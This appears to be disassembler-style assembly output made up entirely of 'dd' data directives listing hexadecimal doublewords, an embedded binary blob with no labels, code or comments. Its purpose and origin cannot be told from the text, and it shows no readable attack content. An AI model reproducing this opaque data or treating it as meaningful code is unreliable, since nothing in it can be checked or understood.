dd 0D4008CA6h, 8A8CD25Dh, 0A4E1C01h, 0FF59CD98h, 4ADB1686h dd 92CE817h, 17026DDh, 1D5C3609h, 19B681F1h, 0C7D4DC8Fh dd 46A095Fh, 0BD528D0Fh, 2A9D89ECh, 0C002F96Ah, 20D17D90h dd 2E827F40h, 0E860530Ah, 66004A0Fh, 237BC62Fh, 0D1B902C0h dd 0E1E63042h, 3A5B3FE1h, 23946220h, 611A00EBh, 0EFF54929h dd 5F1DFFE5h, 1583A5B7h, 0FA54988Fh, 0D920C659h, 63509202h dd 80663B5Fh, 70C19CE9h, 0CC3576h, 8B10699Eh, 0FAFBB1DFh dd 9FE42B13h, 0EE8BC61Fh, 0BA3A1059h, 0B27B1EFFh, 97F787Ah dd 34F1F793h, 8EB91410h, 763EA301h, 81952B58h, 8A09D27Ch dd 72DB6AF4h, 0DA49E07Bh, 6B2D5CBDh, 140B7110h, 22DCF1B3h dd 0D17D99E7h, 1C1818h, 0F899255Bh, 21419531h, 5F7B1C8h dd 0B05DBD8Bh, 5638682Ch, 50CA0786h, 0DEE06652h, 2BF310Fh dd 146E2D33h, 0F5A3585Ah, 368079AAh, 5036FEB5h, 0B718E253h dd 650028B7h, 28A058FCh, 716328D3h, 1612F2CCh, 80600B6Ah dd 0BE5C233Bh, 0A59E4304h, 9A82613Ch, 538DA9B4h, 0A34870EDh dd 77B6AD07h, 0F4909BDAh, 880FE9C8h, 63009771h, 980E95D5h dd 0B1408Dh, 81A2B796h, 50CE8B16h, 0F9CB8A34h, 2EB8CCA9h dd 0A7A07D04h, 0F78C4F02h, 0A793Ch, 0E67AC514h, 0C95256ABh dd 0CD549912h, 1B201016h, 72CB0BFh, 0CA8145EFh, 57A8902Eh dd 0BE54B58Dh, 0F5EE8B8Ch, 0E880819Ah, 0EEA096D1h, 5914BDBAh dd 7DF047C9h, 3846BF14h, 8B1E7FEFh, 0B98F96FAh, 4FBA8084h dd 0FA23E765h, 0C6B80C60h, 0FA5A1D11h, 27BFE394h, 0EC3FE495h dd 301341D1h, 0F7118Ch, 9A25DD80h, 6E084456h, 135613Eh dd 422E3A5Ah, 7622B58Bh, 0FA2CE44Ch, 67DF1EBDh, 0D4C466C6h dd 600B2DE5h, 15E97902h, 0D7F6B800h, 610A04D8h, 0F8207E80h dd 0CB942AD3h, 8DB58916h, 0CD606982h, 710AE089h, 477888D7h dd 8B9ED801h, 20468DFEh, 6FC0285Ah, 4ADB3C08h, 0F74F73EAh dd 61124FBCh, 0E3FD0945h, 9700703Fh, 0C8CA3C89h, 179D097Bh dd 0A601788Eh, 8083EAE7h, 0AEB5E20Ah, 0C226E9F8h, 41BD093Bh dd 405AE6F8h, 7001C96Eh, 802DF2F8h, 0D7507438h, 193BDBB6h dd 0E82D1F86h, 0F100FB32h, 0BE0997Dh, 0F5009ABEh, 21023972h dd 1720FED8h, 0B06B708Ch, 18414DA9h, 8A241A30h, 485A8678h dd 0CF85629Bh, 0DE40C3CBh, 185CAE24h, 3EA97712h, 0E9E01CECh dd 0F980479Ch, 84DC6535h, 14D10013h, 4BA8862h, 4664FF0Eh dd 3D0D2F74h, 0BF6F6A2Eh, 49D03D05h, 0C4F0AD5Eh, 3B090BDDh dd 8391261Bh, 0A3442A65h, 18A0599Dh, 0DCAABC40h, 0BD839C13h dd 0B95E4595h, 0C0E92035h, 49077FBCh, 5B5DFFF3h, 244ECE9h dd 5CF0DAD2h, 17F4503Ch, 0AA450E40h, 0E6D00034h, 0DA292001h dd 7D07EF1Dh, 5B25BA66h, 0B76BE819h, 0D0B504FBh, 0E3EB8503h dd 3114E2DAh, 9A0417Ch, 0A8AC0502h, 0C65A1F20h, 0EB8078DEh dd 0B48B8753h, 0FC9EA1B9h, 2FEAA40h, 0E8F7C780h, 33C5017Fh dd 0B660CB0Ch, 1DE30B8h, 504291BFh, 7142F1A1h, 0FED81819h dd 0D0EB1361h, 7879C857h, 0F786DB04h, 0BB85F0FBh, 0E2B5EB09h dd 0D162597Ch, 2F301919h, 1853126Eh, 9E0488A6h, 709ACB00h dd 0E70C8FC9h, 952E1ED7h, 5BCE4009h, 4E0E335Fh, 6ABA36B0h dd 24B65002h, 61C00B59h, 17634D39h, 2C211D10h, 50096B61h dd 0C17E81B3h, 3166F52Eh, 33080122h, 2D183D8Dh, 80548192h dd 0A04912DCh, 3B3F833h, 71BD0B20h, 468F500Eh, 0C6811ACAh dd 0BF417D1Ch, 7B0ECF2Dh, 33FFFC9Ah, 99E09BE6h, 0D511A992h dd 231D0DE8h, 859C8FFFh, 964DC680h, 337B7E1Bh, 398D2909h dd 68AEA02Fh, 81801F69h, 10532B8Eh, 5AEAC8h, 34D64402h dd 0D36C2E7Ch, 0B2564724h, 69780325h, 6E3E4B9Fh, 37250F79h dd 0A3BAA19Ah, 2D24DAF9h, 2D8D2F89h, 0CCFF0A85h, 0E5248014h dd 2A2505C1h, 8B944DF5h, 8CB9C1ECh, 90FDACC9h, 3DD203Eh dd 0EF00014Fh, 94290271h, 5E0F5074h, 8A0C428Fh, 0EB4090D3h dd 0A1B620C1h, 6AB760E1h, 54F95970h, 0F090E823h, 955074D3h dd 221F86B7h, 4F9D961Dh, 0DA5DF201h, 0B86C6B8Eh, 0E021F6D3h dd 0B890F396h, 8EDA5EEDh, 0C01A8861h, 8ED0CC07h, 4AF0E317h dd 0C7B9A50Ah, 5AED9542h, 8BEE0F2Bh, 3FB8E9C0h, 1200BA58h dd 0A0E171Dh, 5EB8A28Ch, 11B87A3Dh, 54A8B155h, 9529128Eh dd 18EDA135h, 334BB6F9h, 6B80FADBh, 0D180CCE7h, 8BB42D69h dd 12AB6682h, 3A58E0FBh, 91423E4h, 0F6F2E860h, 0EFCFB300h dd 0E1810F1Fh, 0D08B03B5h, 8C25B1Ah, 0B1C3A087h, 416935CAh dd 0B94F8286h, 2458D232h, 23182Eh, 0B7D1C281h, 897C68C7h dd 260B2EF1h, 0F0A627BAh, 0EC73EA96h, 14C22483h, 79651184h dd 5210E7FFh, 500925CAh, 0A5AFF64h, 2F89DDE1h, 3BA69417h dd 0C22B580Ch, 6D98F01Ah, 3813C490h, 0AB35A4Dh, 50018C48h dd 81D0033Ch, 9345D93Ah, 42238419h, 1EF0852Dh, 67D95CE9h dd 9DD0C88Ch, 34031540h, 0D14F3C40h, 317B5D0h, 12ACCF8Bh dd 50C4069h, 1C5BF86Dh, 0DCD103E8h, 4D1B5B20h, 121008DBh dd 64142E01h, 59CCC8Fh, 8C04C483h, 8B4C5161h, 81100573h dd 1418B0A9h, 243359B5h, 85FC3C0h, 0E0B22715h, 50775624h dd 93BC6847h, 0A8774DA5h, 7B279530h, 0D3EBBC25h, 5F9B604Bh dd 4AC49F89h, 0AF9AB800h, 0F92AE11Bh, 33D802DCh, 9D629391h dd 9F404D6h, 0F3BB9F64h, 19900895h, 0E8B138C8h, 0EC042A35h dd 0EB3266Ch, 381417F1h, 0B0460920h, 0C925893Dh, 0DEDEA10Ah dd 488FF4Fh, 0C65B00A7h, 6612ED9Fh, 787A1D0Dh, 249AC595h dd 1818820h, 0EDE8F885h, 0DE26C0A1h, 3C15CDF1h, 0DE0592B1h dd 91B40419h, 2E0096DDh, 0CC01DCD6h, 23B35497h, 0DC6CAFF8h dd 0EB606280h, 9F091AE1h, 807E08D1h, 8FB8F4B3h, 3DBA0C85h dd 29D782E8h, 104ED990h, 0BD717493h, 89494F08h, 8156BD33h dd 3B65E88Dh, 73C9EE43h, 97FFB228h, 0C1C7E56Dh, 806EC043h dd 4CA40A0h, 2DB52994h, 0DE810009h, 1A1554A8h, 7D27E834h dd 5DC8BDEh, 0E18D01E5h, 7D710912h, 4E5331A9h, 1DFA570h dd 0A62FC6EBh, 2B1D8D09h, 9CD3B593h, 7546C812h, 0D26EE200h dd 0DBDF157Fh, 82A764CFh, 0B87BEA41h, 583DB00h, 0C2BE0325h dd 0C1D97506h, 0A7F94E8h, 0F418D29h, 52051377h, 0B89ABD77h dd 0CD85501Ch, 0FEBE00E7h, 0E8235667h, 0EF95065Eh, 0FC6F4287h dd 22658A40h, 58A94384h, 8C1BB8E4h, 0A252B900h, 0C8A5464Eh dd 266F43Ch, 0E85FF78Bh, 9F5E0608h, 28BC00F4h, 7C26C82Fh dd 645CACA0h, 0B7C2C00Eh, 0C5C6B52Eh, 485FCF6Eh, 0CD2901B8h dd 73C17180h, 24DAA9A1h, 67A09Dh, 0F53AEB03h, 811A1E12h dd 6D57B5E8h, 7ADBE61Ch, 41A3120h, 35366BEh, 68E217h, 0DA506123h dd 9A3A6Eh, 1A8DC29h, 1A03E192h, 48BD8B2Fh, 6BE8594Bh dd 0DE908F6Eh, 1E01CB32h, 7F678B18h, 72933090h, 3896E2D9h dd 6FE84031h, 0BDA23F4Fh, 0F29029E5h, 8CB62355h, 3B1AB2A4h dd 0E94AC029h, 0D9A0A9DFh, 9B5F6D28h, 0F94C838Eh, 0C7523C9Eh dd 1300C524h dd 808DDE05h, 9E634A77h, 0F1D31236h, 9C9FF4E9h, 126ADB03h dd 0B0581D2Dh, 63C5D26h, 6C53225Eh, 8D20CAC6h, 5160251Fh dd 9F38D010h, 5BD92F07h, 3320FF40h, 55F5C19h, 0E861C78Bh dd 0D5968CB0h, 2C090F40h, 85D77195h, 0A7049FE8h, 6665A197h dd 546E067Fh, 0A54E6608h, 9B2FFDA1h, 71C09F68h, 0B4829C94h dd 3225901Bh, 4AAB32CDh, 20DE702Ch, 0A92C2F96h, 26F68012h dd 5447CBBh, 0B25751F6h, 0B336006Ah, 2891C685h, 1E5903AAh dd 8EC0B9Eh, 335417E0h, 0F8176D71h, 6BB6B05Fh, 312310F1h dd 6000F6F9h, 1280F98Bh, 0A86115F5h, 0E96E4F1Bh, 1D5BDF25h dd 2721C108h, 0C3209E8Fh, 0D295C5BFh, 11A1144Ah, 80AA9B2Eh dd 922A806Fh, 404B79DCh, 8A25EE5Dh, 9D485863h, 80CF7A4Dh dd 23CE08C1h, 0BDAB48E5h, 169D7579h, 0F6D82B1Ch, 701AE07Bh dd 206BEB49h, 17EC28ABh, 29622707h, 0A5E9F8B4h, 0DB0559F2h dd 0BE6F241Ch, 0ADE1252Dh, 0FDDC3B13h, 0D690B55Bh, 0B700243Dh dd 0E082D050h, 1C28879Ah, 87D60C30h, 0DCE3AEBCh, 8D17CB90h dd 0EDF32D95h, 0F8301DE2h, 36140045h, 26EA8E39h, 0F27AB0Eh dd 0A0C486h, 0BE1A89F1h, 5D07294Eh, 42D185ABh, 707DEC04h dd 1278563Ch, 5DA1559Dh, 0E01D969Fh, 26800F25h, 934AF976h dd 9C3C7825h, 297DE4B0h, 99805D8Bh, 0D2FAB7B8h, 1C510D03h dd 1BC88B7Eh, 5B2075B2h, 19D449B2h, 87F91025h, 8E29038Ch dd 9D9F761Ah, 0A20158E0h, 21EA1B01h, 0FFB531B0h, 0A860E098h dd 75820719h, 363D2F90h, 8A7CB004h, 0C280A491h, 0A0899F42h dd 4A5EC8A8h, 624FC861h, 0B7DC3E00h, 0F3AAFA18h, 8A630316h dd 0DDC5891Eh, 628BFD3Eh, 5315E1B8h, 583AD08Eh, 0DEA0FE0Fh dd 591C90Ch, 266B1A70h, 0E0CDA900h, 3467FA3Fh, 85A0DF28h dd 0D915C92Bh, 40276DADh, 56FDEABFh, 36A5EC0Fh, 3125760h dd 68C17494h, 0F8FB585h, 0D5C43361h, 2D468826h, 35BE6688h dd 0B0E20780h, 34611512h, 0BDB50399h, 883A8165h, 0D6005718h dd 862BAC35h, 3802DC7h, 233C3078h, 0C7ED8CD3h, 0ADB51167h dd 7E8BAA1Fh, 6D972A77h, 825AE1BCh, 4877360h, 0AC9ACFB8h dd 9D60CA87h, 36958B46h, 0CEEF2B29h, 0F6BF0F1Ah, 74837CCAh dd 0E001746h, 1FCA6EAh, 12520D8Dh, 2139109Eh, 81BD2905h dd 1AE54B28h, 0F270A3FBh, 6619F68h, 590A2320h, 917498E9h dd 0D8699332h, 340130E0h, 0E1CE96A6h, 3E0912E7h, 0C4002C6Ah dd 8DE53579h, 0D01723CBh, 6AE0837Fh, 14A04C5h, 2621D185h dd 95E92FCCh, 10F24E93h, 0BD896581h, 4C47737Dh, 8C18E856h dd 7D683906h, 287EE88Ah, 4282241h, 0F162CABFh, 0EC55E872h dd 0F1138C16h, 2D13D31Bh, 27A54E04h, 7156291Fh, 0E4181Bh dd 438B542Fh, 0B3A1E1Dh, 8015B52Fh, 0A7D78144h, 27DD0BEDh dd 92B7C58Ah, 0A8094796h, 2DFEFEA9h, 0FF42AA4Fh, 9B51A9h dd 9A91082Ah, 0E40EC6DEh, 4CB5B248h, 8214BE33h, 99D0697Bh dd 81468412h, 222021B4h, 0AD4219B0h, 0FB3E62D9h, 276278D8h dd 0D12F8702h, 758C0FF8h, 80E64818h, 0D4D2C269h, 41536951h dd 97EB370h, 6F55F49Bh, 504E45D8h, 10B1D88h, 652E2753h dd 2F9642C7h, 71E7CE90h, 48DB24B9h, 4F1AF671h, 203C2CD8h dd 0B4BE1D38h, 88950CD7h, 7DE03215h, 64E0FE8h, 110E926Eh dd 368BD33h, 0F2724027h, 0B5CD0A21h, 17D5614Ah, 0C0B89169h dd 0F7228005h, 52501ECFh, 5FD8308Bh, 298509F9h, 0CD97EBA4h dd 0EA7BE347h, 70028EE8h, 5DB633F2h, 73BC9F40h, 191F832h dd 0A2121192h, 0C8A5DD8Eh, 6878488Ah, 6AE4BC16h, 7EF033B6h dd 4302B44Ah, 0AFDC9694h, 79B2E0CDh, 3AF5811Bh, 0C34C8BCDh dd 5F6F00E6h, 706EF0E7h, 2E1CA93Dh, 5A678D37h, 7025BB99h dd 0E596CCF0h, 0F977EB40h, 67BA00E7h, 8117F674h, 0C007B431h dd 79731960h, 0BD87B9D4h, 5B022D24h, 0C47D1FFh, 4C601844h dd 0A3283045h, 0E317F855h, 0C2A3A20Eh, 80440120h, 0B771FA23h dd 0FA022224h, 1AFDB020h, 0ED620043h, 0C39C23B7h, 90CD6ADh dd 0A732B1BDh, 20574A90h, 61978F29h, 0E0623C00h, 0BD284ABAh dd 3DE904E3h, 0BF5B38A8h, 0BF66CA00h, 590FB4F8h, 6A1E7431h dd 48B8C441h, 0CD09BF67h, 0CFDECD90h, 42E7D180h, 31E0E5F6h dd 34BD2B8h, 0F158444h, 100F2E1Eh, 9CE9092Bh, 586DDC0Ch dd 82823287h, 16B98Eh, 10759D03h, 93889EBEh, 0DF800092h dd 536090ADh, 6343AA9Eh, 3957F009h, 190A00BDh, 4116D1A5h dd 0CE005C99h, 0BF605A8Fh, 72BB3274h, 0E747074Fh, 1A6140B5h dd 860F8696h, 84EC4F06h, 0BA7651A2h, 13266E88h, 2092EC90h dd 0CBA5BE1Ah, 9FC0CA4Dh, 269DDEAh, 96D52A95h, 95FE5B3h dd 0FB16C2C6h, 8B0F0BD0h, 118999D1h, 6923DE51h, 25DEDB76h dd 6350412Fh, 6AA1A395h, 0DDB588FFh, 0F4ABB41Ah, 6A565301h dd 7F99D89h, 11351022h, 1690CDDh, 15ED80D9h, 0D10183B2h dd 0FD06FFD6h, 68B1C45Ah, 27B0A526h, 0BA007012h, 0E4D522CBh dd 0DF0ECF71h, 0CCD42AE9h, 2227E294h, 262E070Bh, 51599ACAh dd 0DC7C70A7h, 0B6270F08h, 0C1A399C8h, 2E49C041h, 2FAC893Ah dd 9196888h, 0C51F055Dh, 7FC13B89h, 2C00718Bh, 0C82B0333h dd 0D8CDD780h, 9C8D0FD1h, 0E9FE42BFh, 516D99D7h, 85A90FFAh dd 7C4BFDCBh, 162923E4h, 2027ED8Dh, 360072Dh, 2AE1B516h dd 0D86188C8h, 3BD9601Ch, 16FED064h, 93380024h, 0B675D182h dd 53510F7Bh, 50842A4Ah, 5B5C76AAh, 84204895h, 65518A3Bh dd 8EB1E800h, 984DD3F2h, 0BF72002Bh, 766B1D3Dh, 25A1A583h dd 0F5C33FEh, 67658Eh, 2C86AE89h, 0ED240383h, 0C81D9DF9h dd 0D80F2DCh, 37E9E1B7h, 12B58DC0h, 0BD0EBDD2h, 589ABC3Ah dd 0AB06CA22h, 464D5772h, 4540B4B6h, 0DE0BC0h, 29B74385h dd 0DDE124F7h, 0CB7B6E05h, 75AF5301h, 844BDA48h, 180B48Bh dd 910713B9h, 0F3E70AE0h, 14FC17B3h, 0D9CF15D1h, 8784E936h dd 250865B5h, 0C4AF3659h, 6EC89FB3h, 2B802961h, 0FEE3A0D2h dd 0C23318ADh, 83D0B2D1h, 7504E90Bh, 8000B7F4h, 6EA97D41h dd 0CE12424Fh, 22089815h, 0F473A791h, 4031FE72h, 880D869Fh dd 0B2A91FD6h, 0FA343FB9h, 173520BBh, 51143003h, 7A8CD49h dd 77BBE307h, 0EEC9D28Eh, 0B808C47Fh, 0A8F64E3Dh, 6A3BC7E0h dd 0FB7F205h, 0E481FBBFh, 5F842049h, 3E01198Dh, 0F9131423h dd 0FE0012E2h, 0A02634B0h, 8A00FD36h, 0E5DCD468h, 39505F8Eh dd 180DC28Bh, 0E308C103h, 190296A4h, 12405848h, 80C2D77Dh dd 2DF72A29h, 0B795EB52h, 0B8F90EA5h, 1A084F11h, 9F72C0Dh dd 605B4DD7h, 5B82D0h, 9C066C93h, 0B7AF6654h, 0F680CD99h dd 0DE4F3A05h, 81450761h, 80BA8CF3h, 29E1FF39h, 341B512h dd 1009F9D1h, 4C807953h, 1910558Bh, 11A5808h, 45F09BD7h dd 61D1B70Fh, 81011D48h, 22DB157Eh, 37406380h, 0F2543CFh dd 60D1A089h, 0A6EFE280h, 53035C38h, 0DE2BE976h, 0E00C8FE5h dd 2BBDA0F3h, 9B604B31h, 2808B8Dh, 919114Dh, 442F99DCh dd 0DDC0006Ch, 0C513F8F7h, 4C02B34Fh, 80D4F9F2h, 0D169D1E1h dd 7EF51916h, 0A3F457Eh, 0BBD07C9h, 6F60901h, 4D5802DEh dd 0D88B3168h, 0DA7DC0C1h, 0DF0FDB0Ah, 0FEED2E33h, 961B3767h dd 803DBCBDh, 0A008D39Fh, 3AD00078h, 0D7163F6Ch, 2E02B997h dd 8A0BC5C7h, 0E00409DEh, 66500024h, 9C5101BBh, 71063B1Dh dd 903CD5D1h, 0D9DAA6CBh dd 3FF05ADh, 892A911Fh, 0DF0030F9h, 0D09BA7E5h, 0B474F3D5h dd 82B28B09h, 0FEE91977h, 5113EC22h, 0BC00ED5Fh, 97F601F4h dd 0C430D0CEh, 7422D73Eh, 40D4960Dh, 766D12AAh, 96A4CCF1h dd 34705BDh, 8907718Ah, 7FA81D85h, 503EBF87h, 952934F0h dd 12D4554Dh, 5561BE9h, 22999E0Ah, 3915850Dh, 4ED5088h dd 1814C71Ch, 0EABB017Bh, 19B58BC0h, 0E1851641h, 49E6FD55h dd 0EF0C77E0h, 7B601200h, 32E78135h, 8933736h, 93F09A88h dd 1574E489h, 71429B8Ah, 46164428h, 2DFEE1A9h, 285A51ECh dd 3EEC414Dh, 2434B1C1h, 0D919D086h, 0D1CB56FFh, 2ACF040Bh dd 2506807h, 9B668D09h, 0A7B08701h, 633D792h, 0AF19017Eh dd 7E731603h, 0EF0F116Eh, 13C1E92Fh, 2ACDC85Ch, 2609CFCCh dd 941C0D85h, 0F1D6ED8Dh, 909ECC76h, 5AB7E4C6h, 54E850E2h dd 9B601F72h, 5125286h, 0ED5FF8D9h, 90657683h, 14F1C166h dd 4C232659h, 63C02D0Eh, 91AC1BE0h, 0EE0BBFD6h, 7B61D0BBh dd 8809712Ah, 9213174h, 0D59B85C7h, 41DF2948h, 31343471h dd 18DB18D6h, 0B0416FC0h, 8B90A011h, 0E9BC2297h, 42015C21h dd 50010D2Dh, 41300C30h, 1E01E644h, 0B310E8C1h, 4C83020Eh dd 295803F1h, 0EBE70D08h, 4DE3636h, 16EE3964h, 29501B33h dd 18214028h, 113CD58h, 801B0957h, 0D3BBC0AEh, 0B1346D71h dd 51854175h, 24DE3E04h, 0BD0B4B80h, 0DE822011h, 4D85C1B7h dd 0D12C041Bh, 453BAF16h, 98D81BAh, 38D5290Ch, 0CA4241E1h dd 0D36D291Dh, 8EA6DCC0h, 30AAB819h, 955712E5h, 4F9D083Dh dd 0CADC4063h, 0AB271468h, 0A80779BCh, 32D5316Eh, 9611B5C9h dd 0BFF1C7BDh, 0F9B70480h, 5C8CBF96h, 0C623BC24h, 0B76FFB1Eh dd 3C8E0031h, 94EB05E1h, 99131E2Bh, 211E9524h, 417A7AA8h dd 81144DACh, 4981A9EBh, 121D12A7h, 83A0DDA7h, 0BD2A232Bh dd 8917AF75h, 64E2C486h, 16BAFE25h, 3FD6215Ch, 6ECEC283h dd 0A5B6026Ah, 0C82D9D29h, 1C78121h, 12C26C0Ch, 2A205089h dd 0C83759Bh, 32D0B1EDh, 1044E9CEh, 0A641078Dh, 500E5CD9h dd 32DD5D21h, 3CD04A0Fh, 4A127643h, 0BAEEE902h, 459ECF0Eh dd 0A2B8016Bh, 6AB2211Ch, 278BDA8Ch, 92A4499Dh, 7932B586h dd 21B88Eh, 514EC711h, 0A57FBBDFh, 6A302C13h, 9DBC44ADh dd 0BE49890h, 1CD1F693h, 3D53FC19h, 5031A01h, 8AB935A5h dd 0CFDD807Eh, 0B3B6B2EDh, 1DEB76Ah, 0F36EC510h, 0D498D91Ah dd 9D258D89h, 0BF3E2105h, 2C757684h, 0B2DB7842h, 0D4BEDC6Bh dd 0F2C82B17h, 0F9F8530Fh, 64C2F5C4h, 21913BC4h, 3B233042h dd 27BA2CBFh, 0EA467185h, 0D2913001h, 9A73A4F8h, 63222EFh dd 0BDC81ECh, 32C35F1Ah, 0CEB5555Eh, 26AAB01h, 29739BB4h dd 2DA00300h, 0BE632AB3h, 2EF32205h, 0EEE20119h, 23F8A700h dd 0CBB4326Fh, 0B9C34802h, 46605F82h, 0F5D0EADh, 3280F423h dd 85D8EECAh, 0F8319D02h, 0F1EA613Dh, 83AA44Eh, 513F2781h dd 736ADEA1h, 0D0B77Dh, 8DCC32D7h, 3FB4870Fh, 0F66EDF45h dd 2D091523h, 5ADB8B80h, 8360B7CBh, 0B6CDB6EBh, 0B75B178Dh dd 0E74E35CCh, 274D03Ah, 36D8F7F3h, 0F123400Ah, 2028117h dd 0F7812021h, 382C133Ch, 0C5080E22h, 0E5D32F2Eh, 16399504h dd 0A891C60Bh, 0F08315A1h, 221CECB9h, 0C16193A0h, 0F465E90Eh dd 0D38021FFh, 0D6EA8B7Fh, 0FD06DC9Bh, 0C7382E90h, 6169305Ch dd 0EC0BEFEAh, 0DBD5BA95h, 0F94951C7h, 24E72503h, 50802FA8h dd 12F84E8Ah, 8DD18834h, 2E0937ECh, 0E3DFF435h, 0DE809816h dd 20A2B8E5h, 0A4C319E1h, 4F4129BBh, 0E076F622h, 1F26DD6h dd 8C3BD170h, 3A27FFBDh, 39BB78D8h, 0AD852B9Fh, 2636F79h dd 0F40F587h, 81A9B777h, 0D97379DAh, 0D7C2F527h, 705D417h dd 0F6927CA9h, 5CCEA0BFh, 1F20F9F5h, 104119h, 904A9EE7h dd 8020E848h, 384C4173h, 95FF2C5h, 9010B350h, 0A470C6D3h dd 6B0902Eh, 114C7480h, 6C9448F5h, 895709DCh, 45221B5h dd 0DE6DBEh, 3E390603h, 9B90F069h, 0C6E99625h, 0FF3A950Fh dd 0D44B7Eh, 0F0A31DC6h, 0CCAA8D8Ah, 85095004h, 0EEAC12A5h dd 0A8958493h, 292CA2CCh, 0CC61EB09h, 66900213h, 6C7203DFh dd 56365B37h, 21A715A0h, 7AC54B58h, 0B0D2A9BFh, 0FD8D29C5h dd 0B747D12Ah, 782C2B0Eh, 0D84041FFh, 501213EBh, 9DB4233h dd 559BA580h, 8F500F4Ch, 6613605Ah, 6716F38Bh, 9561A2B4h dd 7C90A299h, 59409FC9h, 0ACC1C05Bh, 8F343A97h, 64639FAh dd 0E4E6AD25h, 0AC48AE00h, 51DA354Ch, 3900433h, 0AC0961BDh dd 24A3A485h, 0E19D3304h, 0A466AC1Fh, 366EEAh, 800B92D3h dd 19532CB6h, 0F21FE676h, 84352BDAh, 0CFBBB803h, 0E0BDDD6Ah dd 6700D7B8h, 0B2C23DCBh, 98D0D137h, 45299F99h, 1A499082h dd 48F438FCh, 0A910B37Ch, 395C6213h, 51915603h, 0CC6E0988h dd 8848666h, 22F98D09h, 7F48B017h, 3F46A508h, 465F512Dh dd 0E6F512E0h, 0D9980B70h, 0C2C3414Ah, 71E47901h, 9523F960h dd 6103927Eh, 3E9BAE56h, 0A59D9947h, 172A4965h, 522313A4h dd 2CAAA699h, 2A10A029h, 7F9AFA6Dh, 4A8BB98Ch, 0BDA7D0D9h dd 7E8419EDh, 82D844FCh, 844282A6h, 45FDBC50h, 53790128h dd 6AF6615Bh, 0E0095F4Ah, 0A7C94A38h, 4221F920h, 819F5013h dd 946F63Dh, 5A610833h, 0BC15F3A8h, 0C89C808Ch, 34F08Dh dd 0EE7AFDE6h, 0AD656C48h, 60E29813h, 7D00CAA2h, 0F8677EE7h dd 0A8008463h, 0CF4F1179h, 0F4EC144Bh, 0B9C80198h, 0E95F6189h dd 0F8379290h, 5C005DE2h, 9939BBDDh, 60BE5E4h, 5E0A5B3Bh dd 38596B63h, 569D8800h, 6171CCh, 0C13A4FD6h, 0BF7BF266h dd 6099FD09h, 10EC5978h, 84138859h, 0C09030BCh, 9156D8BDh dd 0F9F5800h, 313D4855h, 20240518h, 9A58372h, 0C1D1FE3Eh dd 9C9E200h, 89AD7Ch, 0DB2E454Ah, 4D5C062Ch, 38CB4400h dd 0BD331B7Ah, 450D41C9h, 9531ACF8h, 8C0F16E5h, 0FFBFC94h dd 0AAC4DF79h, 830AB95Fh, 0ED0EC6BEh, 2AC1D49Bh, 20B0F049h dd 10B72547h, 448A0FBCh, 9895FC01h, 7E8D31FDh, 0B0CDDB9h dd 0FDEF0DF1h, 75147240h, 0BFFE02FBh, 479BC2A4h, 0B725055Ch dd 0C66D0019h, 0D09E75C9h, 0A06E200Bh, 0DC0276FCh, 2E2BD400h dd 368D5EA1h, 820EB7C0h, 22240648h, 0D6400211h, 0C02B2761h dd 0BB0961B7h, 317D82C9h, 0D22B0210h, 14E5CA40h, 785D5682h dd 504ADF80h, 82895E9Bh, 0DB00FC71h, 1673609Ah, 14B800E3h dd 9DEE097Bh, 0C0153AECh, 166CB6h, 2DE3A1EDh, 0F3C284h dd 4027654Eh, 916C14CBh, 0D011609h, 1C4E9688h, 25099D89h dd 0FBA72FC5h, 28235009h, 40231A97h, 820AF9B8h, 9756FA54h dd 0DCC0746Dh, 2FF6717Bh, 0BD0953CAh, 2E4F4F41h, 88251E28h dd 15259D23h, 1E53EC14h, 0E5D5BD01h, 3A008CEh, 0FF802179h dd 0CF8102E1h, 464C20D3h, 0AE51D756h, 6E4ED26Ch, 0B6C10143h dd 9E78073h, 9BE8282Bh, 0EFF7044Bh, 0B8E4F6A0h, 0D3059F7Fh dd 96E6621h, 12D317EAh, 8DE8A24Ah, 8104712Dh, 60ABD2ABh dd 0BE71DD53h, 0C7C6152Bh, 1E5865BCh, 856EC05Bh, 6F0BF953h dd 2B808AA1h, 30176FEEh, 9FE96500h, 8A192DD6h, 0E1802FF8h dd 40EF2DCDh, 1EAE518Fh, 306C28C5h, 926FB684h, 0ED340757h dd 0FB5A195Bh, 0EE02247h, 0B54A98A6h, 0A286F9D8h, 25315623h dd 9DECFF46h, 5C02592Eh, 5F0F4942h, 0DB80DB98h, 62DE6A5Ah dd 8720FF83h, 62AEE800h dd 37D3C468h, 596C861h, 0AF9904BFh, 16BE6BF0h, 284B0CDBh dd 144A8B24h, 0E4C01EBDh, 0C93890B7h, 50F6C713h, 5F2568F3h dd 19BC8E46h, 511F02DCh, 3A89BD5Eh, 0C419A70h, 17F9F941h dd 0DBDB752Bh, 0E6CD87F4h, 4E1026F0h, 66921744h, 0A415128Dh dd 2A25E98Ch, 0C07E7E02h, 0D39A04BFh, 6C745501h, 0E27F3F1h dd 7294A5E4h, 987D65A0h, 4AABA9F5h, 883E12CDh, 1A002C49h dd 9750D47Ch, 0EB4178h, 0C36522F0h, 0C17A5E04h, 6259A617h dd 0E54B7B30h, 0CC570043h, 32B8A180h, 4A001D17h, 0DA9DE491h dd 97222DA9h, 9400CBE4h, 860D9980h, 0EB1BAC1h, 5F5B88C8h dd 5E4FE552h, 0DEFDD671h, 0A96AD54Ah, 7466E8AEh, 29C890B8h dd 0A5991335h, 0DAE18F6Ah, 509B7A89h, 0FC5AA7C2h, 916C54Ch dd 0CD9191BDh, 0F0140583h, 0BF4B2AF7h, 0B99B8785h, 0E743FC0h dd 77947C49h, 218AAC40h, 981A0050h, 14D0D2F9h, 0A7ECB793h dd 0D6171500h, 0BB5066F5h, 0D5AD0475h, 0FB348946h, 13009E6Fh dd 0C56A6452h, 964C4A70h, 0E2DB2C37h, 0EA12DB3Ch, 104DDB3h dd 4021DD85h, 9131577Bh, 80D84B8Bh, 0EDAC84D3h, 0E8836E58h dd 0E3008C1Bh, 557D15D5h, 970CC57Eh, 0A8BDC72Bh, 5D33C402h dd 0D6045F67h, 8D090206h, 4169747Dh, 15C1A3BFh, 5C836EFBh dd 34C45B4Ah, 6A5F668Ah, 0EA080704h, 6246B590h, 6E3D45B8h dd 32F1EB04h, 38BB6601h, 0F22D2E52h, 25C9369Ch, 3E1227C7h dd 459072BBh, 0F587DF61h, 912E82Fh, 0C5A1701h, 41E948C0h dd 0B0C0B72Ah, 0E45A253h, 9D298836h, 5791B49h, 0BF0F05DDh dd 2526A8D8h, 0D0E9D319h, 2700B2D2h, 93AD6ED7h, 2EBD897Eh dd 70BF0AFDh, 81889E85h, 75BC0AEBh, 5AE318DEh, 4DAFBAD6h dd 435EC090h, 0D7287906h, 